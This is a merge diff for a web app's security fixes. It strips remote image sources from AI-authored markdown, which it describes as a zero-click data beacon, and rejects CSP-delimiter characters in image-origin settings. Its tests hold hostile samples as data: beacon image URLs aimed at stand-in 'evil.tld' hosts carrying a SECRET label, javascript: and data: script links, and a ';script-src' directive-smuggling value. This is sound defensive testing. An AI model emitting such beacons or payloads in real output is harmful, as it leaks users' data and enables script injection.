merge: CSP review fixes (B2 block remote model images, B4 reject CSP delimiters)

Author: kathiekiwi

.server-changes/agent-response-remote-images.md

@@ -0,0 +1,6 @@
+---
+area: webapp
+type: fix
+---
+
+Images in AI and agent responses are no longer loaded from arbitrary remote websites, closing a way a response could quietly signal an outside server.

apps/webapp/app/components/code/StreamdownRenderer.test.ts

@@ -0,0 +1,80 @@
+import { createElement } from "react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { describe, expect, it } from "vitest";
+import { restrictModelUrls, StreamdownRenderer } from "./StreamdownRenderer";
+
+// streamdown calls urlTransform(url, key, node) to compute each url attribute; a
+// returned undefined removes the attribute, so no request is ever issued.
+const img = { tagName: "img" } as any;
+const link = { tagName: "a" } as any;
+
+describe("restrictModelUrls (image src)", () => {
+  it("drops a remote model-authored image (the favicon beacon)", () => {
+    expect(
+      restrictModelUrls("https://www.google.com/s2/favicons?domain=evil", "src", img)
+    ).toBeUndefined();
+  });
+
+  it("drops any absolute or protocol-relative remote image", () => {
+    expect(restrictModelUrls("http://evil.tld/pixel.gif", "src", img)).toBeUndefined();
+    expect(restrictModelUrls("//evil.tld/pixel.gif", "src", img)).toBeUndefined();
+  });
+
+  it("keeps inline and same-origin images", () => {
+    expect(restrictModelUrls("data:image/png;base64,AAAA", "src", img)).toBe(
+      "data:image/png;base64,AAAA"
+    );
+    expect(restrictModelUrls("blob:abc", "src", img)).toBe("blob:abc");
+    expect(restrictModelUrls("/local/pic.png", "src", img)).toBe("/local/pic.png");
+  });
+});
+
+describe("restrictModelUrls (link href)", () => {
+  it("keeps http(s), mailto and relative links", () => {
+    expect(restrictModelUrls("https://trigger.dev/docs", "href", link)).toBe(
+      "https://trigger.dev/docs"
+    );
+    expect(restrictModelUrls("http://example.com", "href", link)).toBe("http://example.com");
+    expect(restrictModelUrls("mailto:hi@trigger.dev", "href", link)).toBe("mailto:hi@trigger.dev");
+    expect(restrictModelUrls("/runs/123", "href", link)).toBe("/runs/123");
+  });
+
+  it("drops unsafe link schemes", () => {
+    expect(restrictModelUrls("javascript:alert(1)", "href", link)).toBeUndefined();
+    expect(restrictModelUrls("data:text/html,<script>", "href", link)).toBeUndefined();
+  });
+});
+
+// Force the lazy component to load, then return its resolved default so we can render it
+// synchronously. This proves the policy is actually wired into the JSX, not just exported.
+async function resolveStreamdownRenderer() {
+  const lazy = StreamdownRenderer as unknown as {
+    _payload: unknown;
+    _init: (payload: unknown) => (props: { children: string }) => JSX.Element;
+  };
+  try {
+    lazy._init(lazy._payload);
+  } catch (thenable) {
+    await thenable;
+  }
+  return lazy._init(lazy._payload);
+}
+
+describe("StreamdownRenderer (rendered markdown)", () => {
+  it("never lets a model-authored remote image src reach the DOM", async () => {
+    const Renderer = await resolveStreamdownRenderer();
+    const markdown = [
+      "![x](https://www.google.com/s2/favicons?domain=SECRET.evil.tld)",
+      "![y](//evil.tld/pixel.gif)",
+      "![z](/local/pic.png)",
+    ].join("\n\n");
+    const html = renderToStaticMarkup(createElement(Renderer, null, markdown));
+
+    // No remote host is ever fetched: no absolute or protocol-relative image src survives.
+    expect(html).not.toContain('src="http');
+    expect(html).not.toContain('src="//');
+    expect(html).not.toContain("SECRET.evil.tld");
+    // A same-origin relative image is untouched, so the policy does not over-block.
+    expect(html).toContain('src="/local/pic.png"');
+  });
+});

apps/webapp/app/components/code/StreamdownRenderer.tsx

@@ -1,5 +1,32 @@
 import { lazy } from "react";
-import type { CodeHighlighterPlugin } from "streamdown";
+import type { CodeHighlighterPlugin, UrlTransform } from "streamdown";
+
+const SAFE_LINK_SCHEMES = new Set(["http:", "https:", "mailto:"]);
+
+/**
+ * URL policy for model-authored markdown. A remote image is fetched the moment it
+ * renders — no click — so it is a zero-click data beacon; we drop the src of any
+ * non-local image. Links stay clickable but only for safe, human-followable schemes.
+ * streamdown removes an attribute whose transform returns undefined, so no request fires.
+ */
+export const restrictModelUrls: UrlTransform = (url, key, node) => {
+  const value = url.trim();
+  const isImage = node.tagName === "img" || key === "src" || key === "srcset";
+
+  if (isImage) {
+    // Inline images carry their own bytes; a relative path resolves to our own origin.
+    if (/^data:/i.test(value) || /^blob:/i.test(value)) return url;
+    // Absolute or protocol-relative means a remote host — strip it so nothing is fetched.
+    if (/^[a-z][a-z0-9+.-]*:/i.test(value) || value.startsWith("//")) return undefined;
+    return url;
+  }
+
+  // Links: relative and protocol-relative are fine; otherwise require a safe scheme.
+  if (value.startsWith("//")) return url;
+  const schemeMatch = /^([a-z][a-z0-9+.-]*):/i.exec(value);
+  if (!schemeMatch) return url;
+  return SAFE_LINK_SCHEMES.has(`${schemeMatch[1].toLowerCase()}:`) ? url : undefined;
+};
 
 export const StreamdownRenderer = lazy(() =>
   Promise.all([import("streamdown"), import("@streamdown/code"), import("./shikiTheme")]).then(
@@ -23,6 +50,7 @@ export const StreamdownRenderer = lazy(() =>
             isAnimating={isAnimating}
             plugins={{ code: codePlugin }}
             controls={{ code: { copy: false, download: false } }}
+            urlTransform={restrictModelUrls}
             linkSafety={{ enabled: false }}
           >
             {children}

apps/webapp/app/utils/cspImageOrigins.test.ts

@@ -50,12 +50,26 @@ describe("parseCspImageOrigins", () => {
     ["https://example.com#frag", "must be an origin only, with no path, query or hash"],
     ["example.com", "is not a valid absolute URL"],
     ["https://user:pw@example.com", "must not contain credentials"],
+    ["https://a.com;script-src", "must not contain ';' or ',' — these delimit CSP directives"],
   ])("rejects %s and says why", (value, reason) => {
     const { origins, rejected } = parseCspImageOrigins(value);
     expect(origins).toEqual([]);
     expect(rejected).toEqual([{ value, reason }]);
   });
 
+  it("does not let a ';' smuggle a second directive into img-src", () => {
+    const { origins } = parseCspImageOrigins("https://a.com;script-src");
+    expect(origins).toEqual([]);
+    expect(buildImgSrcDirective(origins)).not.toContain("script-src");
+  });
+
+  it("splits on ',' so a comma can never ride inside a single origin", () => {
+    // "https://a.com" is valid; the "x" fragment after the comma is rejected on its own.
+    const { origins } = parseCspImageOrigins("https://a.com,x");
+    expect(origins).toEqual(["https://a.com"]);
+    expect(origins.some((origin) => origin.includes(","))).toBe(false);
+  });
+
   it("keeps the valid entries when a sibling entry is rejected", () => {
     const { origins, rejected } = parseCspImageOrigins(
       "https://*.evil.com,https://sso.example.com"

apps/webapp/app/utils/cspImageOrigins.ts

@@ -73,6 +73,11 @@ function rejectionReason(value: string, allowHttp: boolean): string | undefined
   if (/\s/.test(value)) {
     return "contains whitespace";
   }
+  // `;` and `,` delimit CSP directives / source lists; an entry containing one would
+  // land verbatim in the space-joined img-src and inject or truncate a directive.
+  if (/[;,]/.test(value)) {
+    return "must not contain ';' or ',' — these delimit CSP directives";
+  }
 
   let url: URL;
   try {

apps/webapp/vitest.config.ts

@@ -18,6 +18,7 @@ export default defineConfig({
       "app/runEngine/concerns/**/*.test.ts",
       "app/runEngine/services/**/*.test.ts",
       "app/utils/**/*.test.ts",
+      "app/components/code/**/*.test.ts",
       "app/components/dashboard-agent/**/*.test.ts",
       "app/presenters/v3/reports/**/*.test.ts",
     ],